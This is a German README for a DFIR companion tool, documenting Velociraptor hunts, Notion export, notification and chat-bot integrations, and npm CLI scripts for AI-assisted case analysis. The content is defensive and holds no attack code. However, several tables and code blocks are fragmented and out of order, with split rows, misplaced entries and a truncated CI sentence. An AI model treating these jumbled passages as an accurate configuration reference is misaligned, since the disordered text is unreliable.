| `DFIR_NOTION_DATABASE_ID` | — | Standarddatenbank für „Neue Seite“-Exporte (die Untersuchungsvorlage) |
| `DFIR_NOTION_PARENT_PAGE_ID` | — | Alternative Standardeinstellung: die neue Seite unter dieser übergeordneten Seite erstellen |
| `DFIR_NOTION_CONTAINER_TITLE` | `🔍 DFIR Companion — Auto-generated` | Titel des verwalteten Blocks, den der Companion besitzt |
| `DFIR_NOTION_MAX_TIMELINE` | `500` | Maximale Anzahl an Timeline-Zeilen, die nach Notion geschrieben werden |
| `DFIR_NOTION_CA` | — | PEM-CA-Bundle, falls ein Proxy eine interne CA verwendet |
| `DFIR_NOTION_INSECURE` | — | `=1`, um die TLS-Verifizierung zu überspringen (nur Labor) |
### Velociraptor Live-Hunts + Triage-Bundles (optional)
Setzen Sie `DFIR_VELOCIRAPTOR_API_CONFIG`, um zu aktivieren. Generieren Sie die Konfiguration einmal mit:```
velociraptor --config server.config.yaml config api_client --name dfir --role administrator,api api.config.yaml
| Variable | Standard | Bedeutung |
|---|---|---|
DFIR_VELOCIRAPTOR_API_CONFIG | — | Pfad zur api_client-Konfigurationsdatei |
DFIR_VELOCIRAPTOR_BINARY | velociraptor | Pfad zur ausführbaren Datei (vollständiger .exe-Pfad unter Windows) |
DFIR_VELOCIRAPTOR_GUI_URL | — | GUI-Basis-URL für Deep-Links zu gestarteten Hunts |
DFIR_VELOCIRAPTOR_ORG | root | Organisation für das ?org_id= des Deep-Links (die GUI erfordert es, vor dem #-Fragment) |
DFIR_VELOCIRAPTOR_TIMEOUT_MS | 60000 | Timeout pro Abfrage (ms) |
DFIR_VELOCIRAPTOR_MAX_ROWS | 1000 | Maximale Anzahl an das Dashboard zurückgegebener Zeilen |
DFIR_VELOCIRAPTOR_MAX_OUTPUT | 52428800 | Harte Obergrenze für die Ausgabegröße interaktiver Abfragen in Bytes (50 MB) |
DFIR_VELOCIRAPTOR_COLLECT_MAX_OUTPUT | 268435456 | Größere Obergrenze für die Bundle-Hunt-Sammlung (Zeilen + hochgeladenes JSON; THOR/Hayabusa sind groß). Ein Artefakt/Upload über dieser Grenze wird übersprungen (protokolliert), nicht fatal — der Rest wird weiterhin importiert. |
DFIR_VELO_HUNT_WAIT_MIN | 10 | Standardminuten, bevor ein Triage-Bundle-Hunt automatisch sammelt (Überschreibung pro Lauf + pro Bundle; begrenzt auf 1–1440) |
DFIR_VELOCIRAPTOR_UPLOAD_VQL | — | Erweitert: Überschreiben des VQL, das die hochgeladenen Textberichte eines Hunts liest (json/jsonl/ndjson/csv/txt/log; versionsabhängig; den Platzhalter __HUNT_ID__ beibehalten) |
DFIR_VELOCIRAPTOR_FLOW_UPLOAD_VQL | — | Erweitert: Überschreiben des VQL, das die hochgeladenen Berichte eines extern eingefügten einzelnen Flows liest (die Platzhalter __CLIENT_ID__/__FLOW_ID__ beibehalten) |
Triage-Bundles (Einstellungen → Velociraptor-Tab): Server-Artefakte durchsuchen listet die sammelbaren
CLIENT-Artefakte des Servers auf; benannte Bundles zusammenstellen + speichern (drei sind integriert — Best Practice (Quick-Wins-
Sweep), Super-Timeline Triage (rohe Host-Artefakte, nur an die Super-Timeline weitergeleitet) und Linux
Triage — global neben cases/ in bundles/ gespeichert). Jedes Bundle, auch die integrierten, ist direkt
editierbar — eine Bearbeitung speichert eine Überschreibung; Auf Standard zurücksetzen verwirft sie. Ausführen eines Bundles als Hunt über das Fleet Collection-Panel des Dashboards (optional eingegrenzt
durch Include-/Exclude-Labels + OS und eine Mindestschweregrad-Importgrenze). Der Sammlungs-Timeout ist eine Bundle-
Einstellung (im Editor konfiguriert — für langsame Artefakte wie THOR erhöhen; Velociraptors Standard ist 600 s) und wird
bei jedem Lauf automatisch angewendet. Jeder Hunt trägt außerdem eine relative Ablaufzeit — wie lange er weiterhin auf
Clients plant, die sich später melden — wählbar aus 1 Stunde / 1 Tag / 1 Woche (Standard 1 Stunde, gegenüber Velociraptors eigenem
wochenlangen Standard); es ist ein Bundle-Standard, der im Editor festgelegt und pro Lauf überschrieben werden kann. Bundles können auch Parameter pro Artefakt tragen (übergeben an das
spec des Hunts), damit ein schweres Artefakt an der Quelle weniger ausgibt — Best Practice liefert **Hayabusa festgelegt auf RuleLevel=Critical/High/Medium
RuleStatus=Stable+Experimental**, damit es den Import nicht überflutet; jedes Artefakt über das optionale Erweitert → Parameter-JSON des Builders abstimmen
und laute Zeilen mit Ausschlussfiltern pro Artefakt entfernen (VQL WHERE, z. B. NOT OSPath =~ 'pagefile'). Der Hunt bleibt bis zum Ablauf offen, sodass
der Companion nach DFIR_VELO_HUNT_WAIT_MIN automatisch sammelt und sowohl die Ergebniszeilen als auch jeden
hochgeladenen JSON-Bericht einliest (z. B. THOR/Hayabusa über Generic.Scanner.ThorZIP — bei diesen zählen die Zeilen nicht, das
hochgeladene JSON hingegen schon; es wird automatisch erkannt und an den richtigen Importer geleitet) und dann synthetisiert — oder Jetzt sammeln
auf der Live-Job-Karte anklicken, um früher abzurufen. Der laufende Job bleibt pro Fall erhalten (state/velo-hunt.json) und
übersteht einen Server-Neustart; Ergebnisse erscheinen auf der Dashboard-Timeline/IOCs.| Variable | Standard | Beschreibung |
|---|---|---|
DFIR_MCP_MODEL | (CLI-Standard) | Modell für einzelne MCP-Tool-Aufrufe, übergeben an claude --model. |
DFIR_MCP_AGENT_MODEL | (CLI-Standard) | Modell für die agentische Schleife, übergeben an claude --model. |
Das Registrieren eines Servers ist eine Sicherheitsentscheidung, nicht nur Konfiguration — siehe Registrieren eines MCP-Servers.
Neue/escalierte Findings, Playbook-Updates und Untersuchungsmeilensteine an Slack /
MS Teams-Webhooks oder SMTP-E-Mail pushen. Es gibt keine aktivierende Umgebungsvariable — Kanäle werden im
Dashboard erstellt (⚙ Einstellungen → Benachrichtigungen) und neben cases/ in notifications/config.json
gespeichert (gitignored; sie enthält die Webhook-URLs + SMTP-Passwörter). Die Liste startet leer (Opt-in). Jeder Kanal hat eine
Schweregradschwelle und Schalter pro Ereignis (Findings / Playbook / Meilensteine). Die Test-Schaltfläche verwenden, um
einen Kanal Ende-zu-Ende zu verifizieren.
⚠ OPSEC: Benachrichtigungen senden Fallinhalte (Finding-/Aufgabentitel) an Dritte. Nicht bei einem sensiblen Fall aktivieren, es sei denn, das Ziel ist vertrauenswürdig.
Slack — einen Incoming Webhook erstellen (keine manuellen OAuth-Scopes; Slack fügt incoming-webhook automatisch hinzu):
DFIR Companion) und den Workspace auswählen.https://hooks.slack.com/services/T…/B…/…).Ein Webhook postet an einen Kanal — für jeden weiteren Kanal einen weiteren Webhook (und einen weiteren Companion-Kanal) hinzufügen.
Die URL ist ein Geheimnis (wer sie hat, kann dort posten), weshalb die Konfigurationsdatei gitignored ist und die URL in
API-Antworten redigiert wird. Bot-Token-Scopes wie chat:write werden nicht benötigt — der Companion postet über den
Incoming Webhook, nicht über die Web API.
MS Teams — einen Incoming Webhook-Connector (oder einen Power Automate-Flow „when a webhook request is received")
zu einem Kanal hinzufügen und dessen URL einfügen (der Companion sendet eine MessageCard). SMTP-E-Mail — dem Kanal einen Host/Port,
optional Benutzername+Passwort sowie from/to geben; opportunistisches STARTTLS + AUTH LOGIN werden verwendet, wenn angeboten. Für einen schnellen
lokalen Test auf Mailpit zeigen (docker run -p 1025:1025 -p 8025:8025 axllent/mailpit).
Telegram — verwendet ein Bot-API-Token + eine Chat-/Kanal-/Gruppen-ID:
/newbot ausführen und das Token kopieren (123456789:AAF…)./start an den Bot senden, dann https://api.telegram.org/bot<TOKEN>/getUpdates öffnen; die chat.id ist eine positive Ganzzahl.getUpdates öffnen; chat.id ist eine negative Ganzzahl.@mychannel.@getidsbot weiterleiten, um die numerische ID zu erhalten (üblicherweise -100…).Läuft der War-Room-Bot bereits? Das Token leer lassen und nur
die Chat-ID eintragen — der Kanal verwendet DFIR_TELEGRAM_BOT_TOKEN aus .env wieder, und das Feld zeigt (bereits gesetzt). Das Token
bleibt allein in .env, sodass eine Rotation dort auch diesen Kanal rotiert. Ein Token hier nur eintragen, um über einen
anderen Bot zu senden; es überschreibt dann die Umgebungsvariable für diesen Kanal.
Ein hier eingegebenes Token wird in notifications/config.json (neben cases/) gespeichert und wird niemals an den
Browser zurückgegeben — das Dashboard erfährt nur, ob eines gesetzt ist und ob es aus .env stammt.
| Variable | Standard | Bedeutung |
|---|---|---|
DFIR_PUBLIC_URL | http://<host>:<port> | Öffentliche Basis-URL, die verwendet wird, um eine Benachrichtigung zurück zum Fall zu verlinken (setzen, wenn über einen Hostnamen/Proxy erreicht) |
DFIR_NOTIFY_CA | — | PEM-CA-Bundle für einen selbst gehosteten Webhook-Host (z. B. Mattermost) |
DFIR_NOTIFY_INSECURE | — | =1, um die TLS-Verifikation für den Webhook-Host zu überspringen (nur Labor) |
Benachrichtigungen pushen nach außen; dies ist der Weg zurück nach innen. Den Fall aus dem Incident-Kanal heraus steuern, anstatt für jede Frage zum Dashboard zu wechseln:``` /dfir bind IR-2026-014 bind this channel to a case — every later command can omit the id /dfir status events, findings, IOCs, open questions /dfir findings top 5 by severity /dfir finding f3 one finding card /dfir iocs malicious IOCs filtered by verdict (flagged | malicious) /dfir ask what was the initial access vector? grounded AI answer (posted when ready) /dfir synthesize trigger a re-synthesis /dfir hunt T1059.001 note a technique to hunt (deploy it from the dashboard) /dfir unbind clear the binding
Jede Plattform wird aktiviert, sobald ihr Secret gesetzt ist:
**Kein Tunnel nötig** — der Companion öffnet die Verbindung ausgehend:
| Plattform | Wie Befehle ankommen | Aktivieren mit |
|---|---|---|
| Slack | **Socket Mode — ausgehendes WebSocket** | `DFIR_SLACK_SOCKET_MODE=on` + `DFIR_SLACK_APP_TOKEN` (`xapp-…`, `connections:write`) |
| Telegram | **Long Polling** | `DFIR_TELEGRAM_POLL=on` + `DFIR_TELEGRAM_BOT_TOKEN` |
Oder als eingehende Webhooks, die eine öffentliche Adresse benötigen:
| Plattform | Endpunkt | Aktivieren mit |
|---|---|---|
| Slack | `POST /integrations/slack/command` | `DFIR_SLACK_SIGNING_SECRET` (Basic Information → Signing Secret) |
| MS Teams | `POST /integrations/teams/command` | `DFIR_TEAMS_TOKEN` (gemeinsames Secret im `Authorization`-Header) |
| Telegram | `POST /integrations/telegram/command` | `DFIR_TELEGRAM_SECRET_TOKEN` (das `secret_token`, das du an `setWebhook` übergibst) |
**Telegram benötigt keinen Tunnel.** Erstelle den Bot mit [@BotFather](https://t.me/BotFather), setze zwei
Variablen, starte neu und schreibe ihm:```bash
DFIR_TELEGRAM_POLL=on
DFIR_TELEGRAM_BOT_TOKEN=123456789:AAF...
Der Companion ruft Telegram auf und fragt nach neuen Befehlen, sodass nichts an der Maschine aus dem Internet erreichbar ist — dieselbe ausgehende Richtung, die der Notifier bereits nutzt. Ein Bot kann nicht beides: Zuerst einen bestehenden Webhook mit .../deleteWebhook löschen.
Slack Socket Mode ist dieselbe Idee: Socket Mode in der App aktivieren, ein App-Level-Token erstellen
(xapp-…, Scope connections:write), und der Companion wählt sich bei Slack ein — keine Request-URL.
Der Webhook-Modus erreicht diesen Companion aus dem Internet über deinen Tunnel oder Reverse-Proxy — und dieser Hostname muss in
DFIR_ALLOWED_HOSTSstehen, sonst weist der DNS-Rebinding-Schutz die Anfrage ab, bevor der Bot sie sieht. MS Teams hat keine Outbound-Option, benötigt also immer diesen Weg.
OPSEC — jeder, der im Channel posten kann, kann Fallinhalte abrufen. Passwortgeschützte Fälle werden über den Chat grundsätzlich abgelehnt (eine Chat-Nachricht enthält keine Entsperrung). Setze
DFIR_*_ACTION_USERS, um KI-Ausgaben, Re-Synthese und Re-Binding auf benannte Responder zu beschränken; dadurch werden alle anderen auf den gebundenen Fall des Channels eingeschränkt.
| Variable | Standard | Bedeutung |
|---|---|---|
DFIR_SLACK_ACTION_USERS | (nicht gesetzt = offen) | Kommagetrennte Slack-Benutzer-IDs, die ask/hunt/synthesize/bind ausführen dürfen |
DFIR_TEAMS_ACTION_USERS | (nicht gesetzt = offen) | Dasselbe für Teams |
DFIR_TELEGRAM_ACTION_USERS | (nicht gesetzt = offen) | Dasselbe für Telegram (numerische Benutzer-IDs) |
DFIR_SLACK_RESPONSE_HOSTS | hooks.slack.com | Zusätzliche Hosts, an die ein asynchrones Ergebnis geliefert werden darf (selbstgehosteter Slack-kompatibler Server) |
DFIR_TEAMS_RESPONSE_HOSTS | *.webhook.office.com, *.logic.azure.com, *.office.com | Dasselbe für Teams |
DFIR_TELEGRAM_BOT_TOKEN | — | @BotFather-Token, wird zur Auslieferung asynchroner Ergebnisse verwendet |
DFIR_TELEGRAM_API_BASE | https://api.telegram.org | Überschreibung der Bot-API-Basis-URL |
| Variable | Standard | Bedeutung |
|---|---|---|
DFIR_HUNT_PLATFORMS | alle | Kommagetrennte Plattform-Allowlist für Hunt-Pivot-Karten: velociraptor, defender, elastic, splunk, sigma, yara, suricata |
DFIR_CORRELATE_WINDOW_S | 2 | Zeitfenster (s) für die quellenübergreifende Zusammenführung von Ereignissen mit gleichem Pfad |
DFIR_PHASE_GAP_S | 300 | Abstand zwischen Ereignissen (s), der eine neue Angriffsphase beginnt |
DFIR_BEACON_MIN_COUNT | 5 | Minimale Verbindungsereignisse zu einem (Host → Ziel:Port)-Kanal, bevor er für die Beacon-Erkennung in Betracht gezogen wird |
DFIR_BEACON_MAX_JITTER_PCT | 20 | Maximaler Intervall-Jitter (Standardabweichung als % des Mittelwerts), damit ein Kanal als Beacon zählt — niedriger = strenger |
DFIR_GAP_MIN_MINUTES | 30 | Harte Untergrenze für die Log-Lückenanalyse — eine Stille in der Timeline, die kürzer ist, wird nie gemeldet |
DFIR_GAP_DENSITY_FACTOR | 4 | Eine Lücke muss außerdem ≥ diesem Wert × dem medianen Inter-Ereignis-Intervall der Timeline entsprechen, um gemeldet zu werden (unterdrückt normale Ruhe in dünn besiedelten Timelines; 0 = nur Untergrenze) |
DFIR_GAP_ACTIVE_HOURS | (nicht gesetzt) | Optionale Arbeitszeiten "8-18" (UTC, unterstützt Wrap-around "22-6") — nur Lücken melden, die sich mit ihnen überschneiden; ersetzt die Dichte-Heuristik, wenn gesetzt |
DFIR_GAP_MAX_FINDINGS | 5 | Obergrenze für vollständige Stille-Lücken, die zu einem Finding eskalieren (Panel/Bericht zeigen weiterhin alle) — verhindert, dass ein Super-Timeline-Fall die Findings-Liste überflutet |
DFIR_GAP_HYPOTHESIS_MAX | 5 |
Beispiel .env (zweistufiges OpenRouter-Setup):```
DFIR_VISION_PROVIDER=openrouter
DFIR_VISION_MODEL=openai/gpt-4o-mini # cheap extraction (per screenshot)
DFIR_VISION_KEY=sk-or-...
DFIR_AI_SYNTH_MODEL=google/gemini-2.5-pro # strong synthesis (one call)
DFIR_VISION_IMAGE_DETAIL=high
## npm-Skripte — vollständige CLI-Referenz
Alle werden von `companion/` aus ausgeführt. Argumente nach `--` werden an das Skript weitergegeben.
### `npm run dev`
Startet den Server (liest `.env`). Bindet `127.0.0.1:4773`. Dashboard unter `/dashboard`.```
npm run dev
npm run buildType-Check / Kompilierung mit tsc. Keine Argumente.```
npm run build
### `npm test`
Führt die vollständige vitest-Suite aus. Keine Argumente.```
npm test
npm run verify:ai -- [caseId] [flags]Smoke-Test mit einem Aufruf: sendet 3 Screenshots aus der Mitte des Falls an das konfigurierte Modell und bestätigt, dass die Antwort gegen das Schema geparst wird. Gibt Befunde, forensische Ereignisse und eine Vorschau des Angreiferpfads aus.
| Arg / Flag | Standard | Wirkung |
|---|---|---|
caseId (positional) | test1 | Fall, aus dem Screenshots entnommen werden. |
--provider NAME | aus .env | Überschreibt DFIR_VISION_PROVIDER für diesen Lauf. |
--model ID | aus .env | Überschreibt DFIR_VISION_MODEL für diesen Lauf. |
--key KEY | aus .env | Überschreibt DFIR_VISION_KEY für diesen Lauf. |
| npm run verify:ai | ||
| npm run verify:ai -- mycase | ||
| npm run verify:ai -- mycase --provider openrouter --model openai/gpt-4o --key sk-or-... |
### `npm run coverage -- [caseId]`
Berichtet, wie viele Screenshots eines Falls analysiert vs. übersprungen (Duplikate) vs.
nie berührt wurden. Liest nur `captures.jsonl` und den indexierten Untersuchungszustand — keine KI-Aufrufe.
| Arg | Standard | Wirkung |
| --- | --- | --- |
| `caseId` (positional) | `test1` | Zu untersuchender Fall. |```
npm run coverage -- test1
npm run coverage -- mycase
npm run reanalyze -- <caseId> [flags]Führt die KI-Analyse für die bereits erfassten Screenshots eines Falls erneut aus und baut den
Untersuchungszustand neu auf. Am Ende wird eine Synthese ausgeführt, sofern nicht --no-synthesis übergeben wird.
Verbraucht Ihr API-Kontingent (~1 Aufruf pro --window Screenshots, plus 1 Synthese-Aufruf).
| Arg / flag | Standard | Wirkung |
|---|---|---|
caseId (positional) | test1 | Zu verarbeitender Fall. |
--reset | aus | Leert den Zustand vor der Analyse. Andernfalls wird in den bestehenden Zustand eingefügt. |
--all | aus | Duplikat-Screenshots ebenfalls einbeziehen (gründlichste Variante, mehr API-Aufrufe). |
--window N | 4 | Screenshots pro KI-Extraktionsaufruf. |
--provider NAME | aus .env | Überschreibt DFIR_VISION_PROVIDER (Extraktion). |
--model ID | aus .env | Überschreibt DFIR_VISION_MODEL (Extraktion). |
--key KEY | aus .env | Überschreibt DFIR_VISION_KEY (Extraktion). |
--base-url URL | aus .env | Überschreibt DFIR_VISION_BASE_URL (Extraktion) — z. B. ein lokaler LiteLLM-Proxy. |
--synth-provider NAME | = Extraktion / DFIR_AI_SYNTH_PROVIDER | Provider für den Synthese-Durchlauf. |
--synth-model ID | = Extraktion / DFIR_AI_SYNTH_MODEL | Stärkeres Modell für die Synthese (Erkenntnisse / MITRE / Angreiferpfad). |
--synth-key KEY | = Extraktion / DFIR_AI_SYNTH_KEY | API-Schlüssel für den Synthese-Provider. |
--synth-base-url URL | = Extraktion / DFIR_AI_SYNTH_BASE_URL | Basis-URL für den Synthese-Provider. |
--no-synthesis | aus | Überspringt den abschließenden Synthese-Durchlauf (nur rohe forensische Timeline). |
npm run reanalyze -- test1
npm run reanalyze -- test1 --reset
npm run reanalyze -- test1 --all --reset
npm run reanalyze -- test1 --reset --window 3
npm run reanalyze -- test1 --reset --model openai/gpt-4o
npm run reanalyze -- test1 --reset --provider gemini --model gemini-1.5-pro --key AIza...
npm run reanalyze -- test1 --reset
--model openai/gpt-4o-mini
--synth-model openai/gpt-4o
npm run reanalyze -- test1 --reset
--provider openrouter --model openai/gpt-4o-mini --key sk-or-...
--synth-provider openrouter --synth-model google/gemini-2.5-pro --synth-key sk-or-...
npm run reanalyze -- test1 --reset --no-synthesis
### `npm run synthesize -- <caseId> [flags]`
Ein reiner Text-KI-Aufruf über die vollständige (im Geltungsbereich liegende) forensische
Timeline → Findings, IOCs, MITRE-Mapping, Angreiferpfad, Schlüsselfragen. Bevorzugt
`DFIR_AI_SYNTH_*`-Umgebungsvariablen; fällt auf das Extraktionsmodell zurück.
| Arg / Flag | Standard | Wirkung |
| --- | --- | --- |
| `caseId` (positional) | `test1` | Fall, der synthetisiert werden soll. |
| `--provider NAME` | `DFIR_AI_SYNTH_PROVIDER` ?? `DFIR_VISION_PROVIDER` | Überschreibt den Synthese-Provider. |
| `--model ID` | `DFIR_AI_SYNTH_MODEL` ?? `DFIR_VISION_MODEL` | Überschreibt das Synthese-Modell. |
| `--key KEY` | `DFIR_AI_SYNTH_KEY` ?? `DFIR_VISION_KEY` | Überschreibt den Synthese-API-Schlüssel. |
| `--base-url URL` | `DFIR_AI_SYNTH_BASE_URL` ?? `DFIR_VISION_BASE_URL` | Überschreibt die Synthese-Basis-URL (z. B. einen lokalen LiteLLM-Proxy). |```
# Use whatever .env says
npm run synthesize -- test1
# Re-run conclusions with a stronger model (no re-capture needed)
npm run synthesize -- test1 --model openai/gpt-4o
# Switch provider for this run
npm run synthesize -- test1 --provider gemini --model gemini-1.5-pro --key AIza...
npm run clean-timeline -- <caseId> [--apply]Entfernt Analysten-/Tool-Nutzungszeilen (Velociraptor-Hunts, Notebooks, Suchen, „Response and Monitoring accessed" usw.) aus der forensischen Timeline. Keine KI-Aufrufe. Standardmäßig Dry-Run.
| Arg / Flag | Standard | Wirkung |
|---|---|---|
caseId (positional) | test1 | Zu bereinigender Fall. |
--apply | aus | Tatsächlich speichern. Ohne dies wird nur eine Vorschau dessen angezeigt, was entfernt würde. |
npm run clean-timeline -- test1
npm run clean-timeline -- test1 --apply
Nach der Bereinigung führen Sie `npm run synthesize -- <caseId>` erneut aus, um die Schlussfolgerungen zu aktualisieren.
## Empfohlene Workflows```
# Daily live capture (just start the server and browse)
npm run dev
# Verify a new model works against your case before committing to it
npm run verify:ai -- mycase --model openai/gpt-4o
# Check how complete the analysis is
npm run coverage -- mycase
# Recover a case with weak/empty findings: full rebuild
npm run reanalyze -- mycase --reset
# Timeline already good — only refresh conclusions
npm run synthesize -- mycase
# Strip noise from the timeline, then refresh conclusions
npm run clean-timeline -- mycase --apply
npm run synthesize -- mycase
# Two-tier cost-optimised rebuild
npm run reanalyze -- mycase --reset \
--model openai/gpt-4o-mini \
--synth-model google/gemini-2.5-pro
Geplante Arbeiten und Ideen werden als GitHub Issues unter dem Label enhancement verfolgt.
cd companion && npm test # server unit tests cd extension && npm test # extension unit tests
CI führt bei jedem Pull Request sechs Gates aus — Produktions-Build, Test-Typprüfung, Lint, Format-Prüfung
DFIR_HUNT_SUGGEST_MAX | 8 | Maximale Anzahl KI-vorgeschlagener Fleet-Hunts, die pro Generierung zurückgegeben werden (erfordert einen KI-Anbieter, nicht die Velociraptor-API) |
DFIR_PBHUNT_SUGGEST_MAX | 30 | Maximale Anzahl KI-vorgeschlagener Playbook-Hunts, die pro Generierung zurückgegeben werden (einer pro endpoint-bezogener Aufgabe; erfordert einen KI-Anbieter) |
| Maximale Anzahl Lücken, über die der KI-Aufruf Hypothesize gaps pro Lauf nachdenkt (schlimmste zuerst); jede erhält weiterhin ihre Shadow-Artifact-Sammlungen |
DFIR_GAP_HYPOTHESIS_CONTEXT | 8 | Ereignisse auf jeder Seite einer Lücke, die dem Hypothesen-Prompt als Vorher-/Nachher-Kontext zugeführt werden |
DFIR_DEDUP | on | KI-Analyse eines Screenshots nur überspringen, wenn er byte-identisch mit der vorherigen Aufnahme ist (SHA-256-exakte Übereinstimmung — der Bildschirm hat sich nicht geändert). Jede Abweichung wird analysiert; in beiden Fällen weiterhin als Beweismittel gespeichert. Auf off setzen, um jeden Screenshot zu analysieren |
TAGGER_AUTO | true | Inhaltsbasierter Event-Tagger (Timesketch-Stil tags.yaml): das Regelset nach jedem Import automatisch ausführen und passende Ereignisse taggen (und auf der forensischen Timeline die Schwere erhöhen / MITRE vereinigen). Auf false setzen, um ihn nur manuell vom Dashboard aus auszuführen (Super-Timeline → 🏷 Content tagger → Run tagger) |
TAGGER_SCOPE | both | Über welche Timeline der Tagger läuft: forensic (nur kuratierte Timeline), super (nur rohe Super-Timeline, nur Tags — verändert nie Schwere/MITRE) oder both. Tags sind nach Event-ID verschlüsselt, sodass sie in beiden Timelines unabhängig davon filtern |
TAGGER_RULES_FILE | (nicht gesetzt) | Absoluter Pfad zu einer benutzerdefinierten Regeldatei, die die im Dashboard bearbeitete Datei und den mitgelieferten Standard (companion/data/tags.yaml) überschreibt. Regeln in der App bearbeiten über Super-Timeline → 🏷 Content tagger → Edit rules |